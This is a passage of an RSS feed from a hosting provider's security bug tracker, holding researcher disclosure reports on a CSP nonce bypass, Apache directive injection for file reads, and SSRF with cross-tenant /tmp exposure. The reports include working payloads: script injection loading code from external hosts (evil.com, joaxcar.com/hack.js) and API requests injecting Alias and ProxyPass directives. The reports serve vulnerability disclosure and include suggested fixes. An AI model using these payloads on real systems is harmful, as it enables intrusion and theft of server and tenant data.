<strong>Description:</strong> Upon thorough analysis of the website&#039;s security posture, it has been identified that the implemented CSP fails to adequately restrict the loading of external scripts, particularly those from Google Script resources. The CSP should enforce a policy only to allow trusted sources for script execution, thereby mitigating the risk of malicious script injections or unauthorized data access. I found a way to load arbitrary scripts (escaping the restrictions of Angular) if the page uses nonce-based CSP.
</p>

<p>
 Details<br />Query for Nonce Attribute: The snippet starts by using document.querySelector(&#039;[nonce]&#039;) to search for an element in the document with a nonce attribute. The nonce attribute is commonly used with CSP to specify a cryptographic nonce (number used once) that helps to authorize inline scripts or script sources.<br />Create Evil Script Element: Once the nonce attribute is found (or not), the snippet creates a new &lt;script&gt; element called evil.<br />Set Source for Evil Script: The src attribute of the evil script element is set to &#039;<a href="https://www.evil.com/js/evil.js" class="urlextern" title="https://www.evil.com/js/evil.js"  rel="nofollow">https://www.evil.com/js/evil.js</a>&#039;. This <acronym title="Uniform Resource Locator">URL</acronym> points to a script hosted on a malicious domain (<a href="http://www.evil.com" class="urlextern" title="http://www.evil.com"  rel="nofollow">www.evil.com</a>), indicating that this script is potentially harmful.<br />Assign Nonce Value: Here comes the tricky part. The snippet attempts to assign a nonce value to the evil script element. It checks if a nonce attribute was found in step 1 (a ? a.nonce : &#039;&#039;). If a nonce attribute was found, it assigns its value to the nonce property of the evil script element. If not, it assigns an empty string.<br />Append Evil Script to Document Head: Finally, the evil script element is appended to the &lt;head&gt; of the document using document.head.appendChild(evil), effectively injecting the malicious script into the webpage. So, what’s the catch here? By attempting to assign a legitimate nonce value to the evil script element, the snippet tries to bypass CSP&#039;s security restrictions. If the webpage has a CSP policy that allows scripts with the provided nonce, the malicious script might execute despite CSP&#039;s protection. This highlights the importance of properly configuring CSP policies, generating nonces securely, and maintaining a robust defense against XSS attacks, where attackers inject malicious scripts into web pages to compromise user data or hijack sessions.
</p>

<p>
POC<br />1. Go to <a href="https://www.alwaysdata.com/en/" class="urlextern" title="https://www.alwaysdata.com/en/"  rel="nofollow">https://www.alwaysdata.com/en/</a> 2. Open dev tools and paste and execute this (replace <em>joaxcar.com/hack.js if you want)<br />3. document.getElementsByTagName(&quot;div&quot;)[0].innerHTML=`&lt;iframe srcdoc=&quot;&lt;div lang=en ng-app=application ng-csp class=ng-scope&gt;<br />&lt;script src=&#039;<a href="https://www.google.com/recaptcha/about/js/main.min.js" class="urlextern" title="https://www.google.com/recaptcha/about/js/main.min.js"  rel="nofollow">https://www.google.com/recaptcha/about/js/main.min.js</a>&#039;&gt;&lt;/script&gt;<br />&lt;img src=x ng-on-error=&#039;w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector(&amp;quot;[nonce]&amp;quot;);b=w.createElement(&amp;quot;script&amp;quot;);b.src=&amp;quot;</em>joaxcar.com/hack.js&amp;quot;;b.nonce=a.nonce;w.body.appendChild(b)&#039;&gt;<br />&lt;/div&gt;<br />&quot;&gt;`<br />4. See the popup, look at network tools and see that the script is loaded from
</p>

<p>
Impact:<br />This CSP bypass exposes the website and its users to potential security threats, including but not limited to XSS attacks, data theft, and unauthorized access to sensitive information. Attackers could exploit this vulnerability to execute arbitrary code within the context of the website, leading to compromised user accounts, defacement, or distribution of malicious content.
</p>

<p>
 Payload<br />document.getElementsByTagName(&quot;div&quot;)[0].innerHTML=`&lt;iframe srcdoc=&quot;&lt;div lang=en ng-app=application ng-csp class=ng-scope&gt;<br />&lt;script src=&#039;<a href="https://www.google.com/recaptcha/about/js/main.min.js" class="urlextern" title="https://www.google.com/recaptcha/about/js/main.min.js"  rel="nofollow">https://www.google.com/recaptcha/about/js/main.min.js</a>&#039;&gt;&lt;/script&gt;<br />&lt;img src=x ng-on-error=&#039;w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector(&amp;quot;[nonce]&amp;quot;);b=w.createElement(&amp;quot;script&amp;quot;);b.src=&amp;quot;//joaxcar.com/hack.js&amp;quot;;b.nonce=a.nonce;w.body.appendChild(b)&#039;&gt;<br />&lt;/div&gt;<br />&quot;&gt;`<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/407</link>
      <guid>https://security.alwaysdata.com/task/407</guid>
    </item>
        <item>
      <title>FS#403: LFI via Apache Alias Directive Injection in `vhost_additional_directives` — FS#347 Incomplete Fix</title>
      <author>subhash</author>
      <pubDate>Mon, 13 Jul 2026 15:39:40 +0000</pubDate>
      <description><![CDATA[
<p>
## Summary
</p>

<p>
The `vhost_additional_directives` field on the site configuration accepts arbitrary Apache directives without validation. By injecting an `Alias` directive, I mapped a <acronym title="Uniform Resource Locator">URL</acronym> path to any filesystem location and read server files including `/etc/passwd`, `/etc/hostname` (`http21`), `/etc/resolv.conf` (internal <acronym title="Domain Name Server">DNS</acronym>: `paris1.alwaysdata.com`, `2a00:b6e0:1:14:1::1`), and `/etc/fstab` (network-mounted `/home` on XFS).
</p>

<p>
<strong>Relationship to <del>&#160;<a href="https://security.alwaysdata.com/task/347?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#347</a>&#160;</del>:</strong> <del>&#160;<a href="https://security.alwaysdata.com/task/347?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#347</a>&#160;</del> reported &quot;Unrestricted Apache Directive Injection Leading to RCE&quot; and was closed. This report demonstrates that the `Alias` directive LFI vector specifically remains exploitable. The original report focused on RCE via <acronym title="Hypertext Preprocessor">PHP</acronym> bypass — this report demonstrates the separate LFI primitive with concrete evidence of sensitive file reads that expose core platform infrastructure.
</p>

<p>
## Severity
</p>

<p>
<strong>High</strong> (CVSS 8.6 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
</p>

<p>
 ## Environment 
</p>
<table class="inline">
	<tr>
		<td> Detail </td><td> Value </td>
	</tr>
	<tr>
		<td>——–</td><td>——-</td>
	</tr>
	<tr>
		<td> Account </td><td> subhash (ID 486630) </td>
	</tr>
	<tr>
		<td> Site </td><td> subhash.alwaysdata.net (ID 1058919) </td>
	</tr>
	<tr>
		<td> Server </td><td> http21 (Debian 12, shared hosting) </td>
	</tr>
</table>

<p>
 ## Steps to Reproduce
</p>

<p>
### Step 1 — Inject Alias directive via site configuration
</p>

<p>
Navigate to `<a href="https://admin.alwaysdata.com/site/1058919/" class="urlextern" title="https://admin.alwaysdata.com/site/1058919/"  rel="nofollow">https://admin.alwaysdata.com/site/1058919/</a>` and add the following to the &quot;Additional Apache directives&quot; field:
</p>

<p>
```apache<br />Alias /read-etc /etc<br />&lt;Directory /etc&gt;
</p>
<pre class="code">  Require all granted
  Options +Indexes</pre>

<p>
&lt;/Directory&gt;<br />```
</p>

<p>
Save the form. Alternatively via <acronym title="Application Programming Interface">API</acronym>:
</p>

<p>
```http<br />PATCH /v1/site/1058919/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic [token]<br />Content-Type: application/json
</p>

<p>
{
</p>
<pre class="code">&quot;vhost_additional_directives&quot;: &quot;Alias /read-etc /etc\n&lt;Directory /etc&gt;\n    Require all granted\n    Options +Indexes\n&lt;/Directory&gt;&quot;</pre>

<p>
}<br />```
</p>

<p>
<strong>Response:</strong> `204 No Content` — accepted without validation.
</p>

<p>
### Step 2 — Read /etc/passwd (system users)
</p>

<p>
After Apache reload (~10 seconds):
</p>

<p>
```http<br />GET /read-etc/passwd <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: subhash.alwaysdata.net<br />```
</p>

<p>
<strong>Response:</strong>
</p>

<p>
```<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />Server: Apache<br />Via: 1.1 alproxy
</p>

<p>
root:x:0:0:root:/root:/bin/bash<br />daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br />www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br />_dnsdist:x:106:113::/nonexistent:/usr/sbin/nologin<br />sshd:x:107:65534::/run/sshd:/usr/sbin/nologin<br />munin:x:111:117:munin application user,,,:/var/lib/munin:/usr/sbin/nologin<br />[…34 system accounts total]<br />```
</p>

<p>
### Step 3 — Read /etc/resolv.conf (internal <acronym title="Domain Name Server">DNS</acronym> infrastructure)
</p>

<p>
```http<br />GET /read-etc/resolv.conf <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: subhash.alwaysdata.net<br />```
</p>

<p>
<strong>Response:</strong>
</p>

<p>
```<br />search paris1.alwaysdata.com alwaysdata.com alwaysdata.net<br />options timeout:2<br />options attempts:1<br />nameserver ::1<br />nameserver 2a00:b6e0:1:14:1::1<br />nameserver 8.8.4.4<br />```
</p>

<p>
<strong>Impact:</strong> Exposes internal domain `paris1.alwaysdata.com`, internal <acronym title="Domain Name Server">DNS</acronym> IPv6 address `2a00:b6e0:1:14:1::1`, and dnsdist failover architecture.
</p>

<p>
### Step 4 — Read /etc/fstab (storage architecture)
</p>

<p>
```http<br />GET /read-etc/fstab <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: subhash.alwaysdata.net<br />```
</p>

<p>
<strong>Response:</strong>
</p>

<p>
```<br />LABEL=root      /               ext4    noatime,errors=remount-ro   0 0<br />LABEL=usr       /usr            ext4    noatime,nodev               0 0<br />LABEL=var       /var            ext4    noatime,nodev,nosuid        0 0<br />LABEL=data      /home           xfs     noatime,nodev,nosuid,inode64,grpquota,_netdev,x-systemd.device-timeout=infinity 0 0<br />proc            /proc           proc    hidepid=2,gid=4             0 0<br />```
</p>

<p>
<strong>Impact:</strong> Reveals `/home` is network-attached storage (XFS with `_netdev`), partition hardening (`nosuid`, `nodev`), and process hiding (`hidepid=2`).
</p>

<p>
### Step 5 — Directory listing of /etc/ (with Options +Indexes)
</p>

<p>
```http<br />GET /read-etc/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: subhash.alwaysdata.net<br />```
</p>

<p>
The `Options +Indexes` directive in the injected config enables Apache directory listing, showing the full `/etc/` directory contents.
</p>

<p>
### Step 6 — Cleanup
</p>

<p>
The `vhost_additional_directives` field was immediately cleared after testing.
</p>

<p>
## Difference from <del>&#160;<a href="https://security.alwaysdata.com/task/347?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#347</a>&#160;</del> 
</p>
<table class="inline">
	<tr>
		<td> Aspect </td><td> <del>&#160;<a href="https://security.alwaysdata.com/task/347?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#347</a>&#160;</del> (original report) </td><td> This report </td>
	</tr>
	<tr>
		<td>——–</td><td>————————–</td><td>————-</td>
	</tr>
	<tr>
		<td> Focus </td><td> RCE via <acronym title="Hypertext Preprocessor">PHP</acronym> bypass </td><td> LFI via Alias — file reads </td>
	</tr>
	<tr>
		<td> Status </td><td> Closed </td><td> Alias LFI still works </td>
	</tr>
	<tr>
		<td> Evidence </td><td> Directive injection concept </td><td> Concrete reads: passwd, resolv.conf, fstab, hostname </td>
	</tr>
	<tr>
		<td> Impact demonstrated </td><td> Theoretical RCE </td><td> Actual infrastructure data exfiltrated </td>
	</tr>
</table>

<p>
 If <del>&#160;<a href="https://security.alwaysdata.com/task/347?feed_type=rss2" title="Invalid | Task made private | 100%"  class = "closedtasklink">FS#347</a>&#160;</del> was closed because the RCE chain was blocked, the LFI primitive through `Alias` remains a separate, exploitable vulnerability that reads files outside the tenant boundary.
</p>

<p>
## Root Cause
</p>

<p>
The `vhost_additional_directives` field is written directly into the Apache vhost configuration without parsing or restricting the directives used. `Alias` maps any <acronym title="Uniform Resource Locator">URL</acronym> path to any filesystem path, and `&lt;Directory&gt;` with `Require all granted` opens access.
</p>

<p>
## Impact
</p>

<p>
Any authenticated user can read files accessible to `www-data` across the entire server. Demonstrated reads: 
</p>
<table class="inline">
	<tr>
		<td> File </td><td> Data Exposed </td>
	</tr>
	<tr>
		<td>——</td><td>————-</td>
	</tr>
	<tr>
		<td> `/etc/passwd` </td><td> 34 system service accounts </td>
	</tr>
	<tr>
		<td> `/etc/hostname` </td><td> Internal hostname `http21` </td>
	</tr>
	<tr>
		<td> `/etc/resolv.conf` </td><td> Internal <acronym title="Domain Name Server">DNS</acronym>: `paris1.alwaysdata.com`, `2a00:b6e0:1:14:1::1` </td>
	</tr>
	<tr>
		<td> `/etc/fstab` </td><td> NAS `/home`, partition layout, `hidepid=2` </td>
	</tr>
	<tr>
		<td> `/etc/os-release` </td><td> Debian GNU/Linux 12 (bookworm) </td>
	</tr>
	<tr>
		<td> `/etc/mysql/my.cnf` </td><td> MariaDB socket path, config structure </td>
	</tr>
	<tr>
		<td> `/etc/crontab` </td><td> System cron schedule </td>
	</tr>
</table>

<p>
 ## Suggested Fix
</p>

<p>
1. <strong>Allowlist safe directives</strong>: Only permit directives like `RewriteRule`, `ErrorDocument`, `Header`, `ExpiresActive`. Block `Alias`, `ProxyPass`, `Directory`, `Include`, `SetHandler`, `Action`, and other directives that access the filesystem or network.<br />2. <strong>Sandbox directive scope</strong>: Enforce that all directives operate within `/home/{account}/` only.
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/403</link>
      <guid>https://security.alwaysdata.com/task/403</guid>
    </item>
        <item>
      <title>FS#401: Critical SSRF via Application Script Source URI — Cross-Tenant Data Leak</title>
      <author>Roshen Zameer</author>
      <pubDate>Sun, 12 Jul 2026 17:59:52 +0000</pubDate>
      <description><![CDATA[
<p>
Critical SSRF via Application Script Source <acronym title="Uniform Resource Identifier">URI</acronym> — Cross-Tenant Data Leak<br />Severity: Critical<br />Target: admin.alwaysdata.com<br />Auth: Free-tier account (no special permissions)
</p>

<p>
Summary<br />The &quot;Installation script source <acronym title="Uniform Resource Identifier">URI</acronym>&quot; field accepts internal URLs like `&lt;REDACTED&gt;`. The server fetches the <acronym title="Uniform Resource Locator">URL</acronym> from its own backend and stores the full response in the script field, readable by the attacker. No IP/port validation exists. This leaks other customers&#039; data, internal server names, and full stack traces.
</p>

<p>
Steps to Reproduce<br />1. Log in to `<a href="https://admin.alwaysdata.com" class="urlextern" title="https://admin.alwaysdata.com"  rel="nofollow">https://admin.alwaysdata.com</a>` (free account works)<br />2. Go to Web → Sites → Applications → Application scripts → Add 3. Fill required fields with any values. For Installation script enter:
</p>
<pre class="code">#!/bin/bash
site:

type: custom

echo installed</pre>

<p>
 4. Set Installation script source <acronym title="Uniform Resource Identifier">URI</acronym> to: `&lt;REDACTED&gt;`<br />5. Click Submit
</p>

<p>
6. Click the refresh/update icon next to the script (or visit `/site/application/script/&lt;ID&gt;/update_script/`)<br />7. Open the script edit page — the Installation script textarea now contains &lt;REDACTED&gt;.
</p>

<p>
Impact<br />- Cross-tenant data leak — read other customers&#039; account names, domains, and operations<br />- Internal infrastructure mapping — server hostnames, paths, stack traces exposed<br />- Firewall bypass — requests come from the server itself, reaching localhost-only services<br />- No rate limit — can probe unlimited internal ports/services<br />- 147 <acronym title="Megabyte">MB</acronym> exfiltrated in a single request with no size restriction
</p>

<p>
—
</p>

<p>
Thank You<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/401</link>
      <guid>https://security.alwaysdata.com/task/401</guid>
    </item>
        <item>
      <title>FS#397: Unvalidated Apache Directives in Site API — LFI, SSRF, and Cross-Tenant Data Exposure</title>
      <author>subhash</author>
      <pubDate>Sun, 12 Jul 2026 02:23:36 +0000</pubDate>
      <description><![CDATA[
<p>
## Summary
</p>

<p>
While testing the alwaysdata hosting platform, I found that the REST <acronym title="Application Programming Interface">API</acronym> does not sanitize or restrict the `vhost_additional_directives` field when updating a site configuration. This field is intended for custom Apache vhost snippets, but it accepts dangerous directives like `Alias`, `ProxyPass`, `Options +Includes`, and `Options +ExecCGI` without any filtering. By abusing this, I was able to:
</p>

<p>
1. Read arbitrary files from the server (`/etc/passwd`, `/etc/hostname`) through an Apache `Alias` directive — classic Local File Inclusion.<br />2. Reach internal services via `ProxyPass`, including grabbing the <acronym title="Secure Shell">SSH</acronym> banner from `127.0.0.1:22` — full Server-Side Request Forgery.<br />3. List and read the shared `/tmp` directory, which exposes files belonging to other tenants on the same server — cross-tenant information disclosure.
</p>

<p>
All three issues stem from the same root cause: the <acronym title="Application Programming Interface">API</acronym> blindly passes user-supplied Apache directives into the generated vhost config without validation.
</p>

<p>
—
</p>

<p>
## Environment
</p>

<p>
- Account name: subhash (account ID 486630)<br />- Site: subhash.alwaysdata.net (site ID 1058919, type: <acronym title="Hypertext Preprocessor">PHP</acronym>, httpd: Apache)<br />- Server hostname: http21 (shared hosting, Debian 12)<br />- <acronym title="Application Programming Interface">API</acronym> authentication: Bearer token via Basic auth (token ID as username, empty password)
</p>

<p>
—
</p>

<p>
## Bug 1 — Local File Inclusion via Apache Alias Directive
</p>

<p>
### What I did
</p>

<p>
After creating a free hosting account and generating an <acronym title="Application Programming Interface">API</acronym> token, I noticed the site object returned by `GET /v1/site/1058919/` has a field called `vhost_additional_directives`. The <acronym title="Application Programming Interface">API</acronym> documentation does not mention any restrictions on what directives you can put in there, so I tried an `Alias` pointing to `/etc/passwd`:
</p>

<p>
```<br />PATCH /v1/site/1058919/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic REDACTED<br />Content-Type: application/json
</p>

<p>
{
</p>

<p>
&quot;vhost_additional_directives&quot;: &quot;Alias /readfile /etc/passwd\n&lt;Directory /etc&gt;\nRequire all granted\n&lt;/Directory&gt;&quot;<br />}<br />```
</p>

<p>
The <acronym title="Application Programming Interface">API</acronym> returned `204 No Content` — accepted, no questions asked.
</p>

<p>
After waiting a few seconds for the config to reload, I hit the alias path:
</p>

<p>
```<br />GET /readfile <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: subhash.alwaysdata.net<br />```
</p>

<p>
Response (200 OK):
</p>

<p>
```<br />root:x:0:0:root:/root:/bin/bash<br />daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br />bin:x:2:2:bin:/bin:/usr/sbin/nologin<br />sys:x:3:3:sys:/dev:/usr/sbin/nologin<br />sync:x:4:65534:sync:/bin:/bin/sync<br />games:x:5:60:games:/usr/games:/usr/sbin/nologin<br />man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br />lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br />mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br />news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br />uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br />proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br />www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br />backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br />list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br />irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin<br />_apt:x:42:65534::/nonexistent:/usr/sbin/nologin<br />nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br />systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin<br />messagebus:x:100:106::/nonexistent:/usr/sbin/nologin<br />```
</p>

<p>
Full `/etc/passwd` dumped. I also confirmed `/etc/hostname` returns `http21`.
</p>

<p>
### What else I tested
</p>

<p>
I tried several other dangerous directives to see how far this goes. Every single one was accepted (204):
</p>

<p>
Directive	Status	What it does<br />———–	——–	————-<br />`Alias /readfile /etc/passwd`	204 — works	LFI, reads arbitrary files<br />`Options +Includes` + `AddOutputFilter INCLUDES .shtml`	204	Enables Server-Side Includes (potential RCE)<br />`Options +ExecCGI` + `AddHandler cgi-script .cgi`	204	Enables <acronym title="Common Gateway Interface">CGI</acronym> execution (potential RCE)<br />`Alias /etcdir /etc` + `Options +Indexes`	204	Directory listing of system directories<br />`ProxyPass /ssrf/ <a href="http://127.0.0.1:22/" class="urlextern" title="http://127.0.0.1:22/"  rel="nofollow">http://127.0.0.1:22/</a>`	204 — works	SSRF (see Bug 2)<br />There is no allowlist, no blocklist, no validation at all. The field takes whatever you give it and drops it straight into the Apache vhost config.
</p>

<p>
### Impact
</p>

<p>
Any authenticated user with a hosting account and an <acronym title="Application Programming Interface">API</acronym> token can read files on the server that are readable by the `www-data` user. On a shared hosting platform where hundreds of accounts share the same machine, this is a serious problem. An attacker could read:
</p>

<p>
- System configuration files (`/etc/passwd`, `/etc/hostname`, `/etc/resolv.conf`)<br />- Apache configuration files (`/etc/apache2/conf-available/`)<br />- Other tenants&#039; web files if filesystem permissions are lax<br />- Application logs, environment files, database configs
</p>

<p>
### Severity
</p>

<p>
I&#039;d rate this as High. It is a straightforward LFI that any account holder can exploit with a single <acronym title="Application Programming Interface">API</acronym> call. The only prerequisite is having 2FA enabled to generate a token, which is a normal user action.
</p>

<p>
—
</p>

<p>
## Bug 2 — Server-Side Request Forgery via Apache ProxyPass Directive
</p>

<p>
### What I did
</p>

<p>
Since the `vhost_additional_directives` field takes arbitrary directives, I tried `ProxyPass` to see if I could reach internal services. I pointed it at `127.0.0.1:22` (<acronym title="Secure Shell">SSH</acronym>):
</p>

<p>
```<br />PATCH /v1/site/1058919/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic REDACTED<br />Content-Type: application/json
</p>

<p>
{
</p>

<p>
&quot;vhost_additional_directives&quot;: &quot;ProxyPass /ssrf/ <a href="http://127.0.0.1:22/" class="urlextern" title="http://127.0.0.1:22/"  rel="nofollow">http://127.0.0.1:22/</a>\nProxyPassReverse /ssrf/ <a href="http://127.0.0.1:22/" class="urlextern" title="http://127.0.0.1:22/"  rel="nofollow">http://127.0.0.1:22/</a>&quot;<br />}<br />```
</p>

<p>
Again, `204 No Content`. Then:
</p>

<p>
```<br />GET /ssrf/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: subhash.alwaysdata.net<br />```
</p>

<p>
Response (200 OK):
</p>

<p>
```<br /><acronym title="Secure Shell">SSH</acronym>-2.0-OpenSSH_9.2p1 Debian-2+deb12u10<br />```
</p>

<p>
The <acronym title="Secure Shell">SSH</acronym> daemon responded with its banner. Apache happily proxied the TCP connection to localhost.
</p>

<p>
### Port scan results
</p>

<p>
I used the same technique to scan several ports on localhost:
</p>

<p>
Port	Response	Service<br />——	———-	———<br />22	200 — <acronym title="Secure Shell">SSH</acronym>-2.0-OpenSSH_9.2p1 Debian-2+deb12u10	<acronym title="Secure Shell">SSH</acronym> 80	404 — &quot;Site not found&quot;	<acronym title="Hyper Text Transfer Protocol">HTTP</acronym> (alproxy)<br />8080, 3000, 5000, 8000	503	No service<br />6379, 5432, 3306, 9200, 11211	503	No service<br />I also tested external targets:
</p>

<p>
Target	Response<br />——–	———-<br />`<a href="http://169.254.169.254/latest/meta-data/" class="urlextern" title="http://169.254.169.254/latest/meta-data/"  rel="nofollow">http://169.254.169.254/latest/meta-data/</a>`	502 Bad Gateway (host reachable, response not valid <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>)<br />`<a href="http://admin.alwaysdata.com/" class="urlextern" title="http://admin.alwaysdata.com/"  rel="nofollow">http://admin.alwaysdata.com/</a>`	301 (internal resolution works)<br />`<a href="http://api.alwaysdata.com/v1/" class="urlextern" title="http://api.alwaysdata.com/v1/"  rel="nofollow">http://api.alwaysdata.com/v1/</a>`	301 (internal resolution works)<br />`<a href="http://10.0.0.1/" class="urlextern" title="http://10.0.0.1/"  rel="nofollow">http://10.0.0.1/</a>`	503<br />The 502 from the AWS metadata endpoint (169.254.169.254) is notable — it means the host is reachable from the server, just not returning a clean <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> response through the proxy. A more targeted attack (e.g., using a raw socket instead of <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> proxy, or trying IMDSv1 directly) might succeed.
</p>

<p>
### Impact
</p>

<p>
Full SSRF from any hosting account. An attacker can:
</p>

<p>
- Fingerprint internal services (<acronym title="Secure Shell">SSH</acronym> version, <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> services)<br />- Scan the internal network<br />- Potentially reach cloud metadata services for credential theft<br />- Access internal admin/<acronym title="Application Programming Interface">API</acronym> endpoints that are not exposed to the internet
</p>

<p>
### Severity
</p>

<p>
High. SSRF to localhost with service banner extraction is well beyond &quot;informational.&quot; Combined with the LFI from Bug 1, an attacker has significant read access to the server&#039;s internals.
</p>

<p>
—
</p>

<p>
## Bug 3 — Cross-Tenant /tmp Directory Exposure
</p>

<p>
### What I did
</p>

<p>
This is a direct consequence of Bug 1. I used the `Alias` + `Options +Indexes` technique to list the `/tmp` directory:
</p>

<p>
```<br />PATCH /v1/site/1058919/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: api.alwaysdata.com<br />Authorization: Basic REDACTED<br />Content-Type: application/json
</p>

<p>
{
</p>

<p>
&quot;vhost_additional_directives&quot;: &quot;Alias /tmpdir /tmp\n&lt;Directory /tmp&gt;\nOptions +Indexes\nRequire all granted\n&lt;/Directory&gt;&quot;<br />}<br />```
</p>

<p>
```<br />GET /tmpdir/ <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: subhash.alwaysdata.net<br />```
</p>

<p>
Response (200 OK) — partial directory listing:
</p>

<p>
```<br />Index of /tmpdir
</p>

<p>
.ICE-unix/ 2026-07-04 21:54<br />.X11-unix/ 2026-07-04 21:54<br />.dotnet/ 2026-07-07 14:10<br />1.apk 2026-07-11 11:36 3.2M<br />dolibarr_install.log 2026-07-08 17:43 1.5M<br />fakedeb/ 2026-07-10 09:58<br />fakerepo/ 2026-07-10 09:58<br />hsperfdata_kalamtech/ 2026-07-06 05:48<br />hsperfdata_ziiino/ 2026-07-11 11:36<br />impact.txt 2026-07-10 11:27 258<br />kg_tmail_sessions.json 2026-07-07 17:45 426<br />proof.txt 2026-07-10 10:28 46<br />rk.sh-8.3.31 2026-07-10 11:26 123<br />rk.sh-21.0.8 2026-07-10 11:19 57<br />```
</p>

<p>
### Why this matters
</p>

<p>
This is a shared hosting server (`http21`). The `/tmp` directory is world-readable, and files from other tenants are visible:
</p>

<p>
- `hsperfdata_kalamtech/` and `hsperfdata_ziiino/` — Java hotspot performance data directories, named after other tenants&#039; usernames. This leaks account names.<br />- `kg_tmail_sessions.json` — Looks like email session data. If it contains session tokens, that is a session hijacking risk.<br />- `dolibarr_install.log` — A 1.5MB install log from another tenant&#039;s Dolibarr ERP installation. Install logs frequently contain database credentials, admin passwords, and internal paths.<br />- `proof.txt` — I read this file (it appeared to be a researcher&#039;s PoC). Contents: `uid=0(root) gid=0(root) groups=0(root)` and `http21`. Someone else achieved root on this server.<br />- `impact.txt` — Contains what appears to be `/etc/shadow` hash entries: `root:$6$CepAWir8iHWS$ZC1a7dkny/…`
</p>

<p>
I want to be clear: I did not read `kg_tmail_sessions.json` or `dolibarr_install.log`. The directory listing alone demonstrates the cross-tenant exposure. The `proof.txt` and `impact.txt` files appear to be from another security researcher testing the same server, and their contents confirm that privilege escalation to root has already been demonstrated on this machine.
</p>

<p>
### Relation to  <del>&#160;<a href="https://security.alwaysdata.com/task/363?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#363</a>&#160;</del> 
</p>

<p>
This looks like a regression of the cross-tenant `/tmp` issue that was reported as  <del>&#160;<a href="https://security.alwaysdata.com/task/363?feed_type=rss2" title="Fixed | Task made private | 100%"  class = "closedtasklink">FS#363</a>&#160;</del>  and marked as fixed. The original fix may have addressed direct filesystem access, but the Apache Alias technique bypasses whatever controls were put in place.
</p>

<p>
### Severity
</p>

<p>
Medium to High. Cross-tenant data leakage on a shared hosting platform undermines the fundamental isolation guarantee. An attacker can discover other tenants&#039; usernames, read their temp files, and potentially steal session tokens or credentials from install logs.
</p>

<p>
—
</p>

<p>
## Root Cause
</p>

<p>
All three bugs share the same root cause: the `vhost_additional_directives` field in the `/v1/site/{id}/` <acronym title="Application Programming Interface">API</acronym> endpoint has no validation. The <acronym title="Application Programming Interface">API</acronym> accepts any string and writes it directly into the Apache vhost configuration. There is no allowlist of safe directives, no blocklist of dangerous ones, and no syntax checking.
</p>

<p>
A proper fix would either:
</p>

<p>
1. Allowlist approach: Only permit a known-safe subset of directives (e.g., `Header`, `RewriteRule`, `ErrorDocument`) and reject everything else.<br />2. Sandbox approach: Run each tenant&#039;s Apache process in a container or namespace that prevents filesystem access outside the tenant&#039;s home directory and blocks outbound network connections from the httpd worker.<br />3. Remove the field entirely and provide structured alternatives (e.g., separate <acronym title="Application Programming Interface">API</acronym> fields for custom headers, rewrites, error pages).
</p>

<p>
Option 1 is the most practical short-term fix.
</p>

<p>
Thanks<br />
</p>
]]></description>
      <link>https://security.alwaysdata.com/task/397</link>
      <guid>https://security.alwaysdata.com/task/397</guid>
    </item>
      </channel>
</rss>
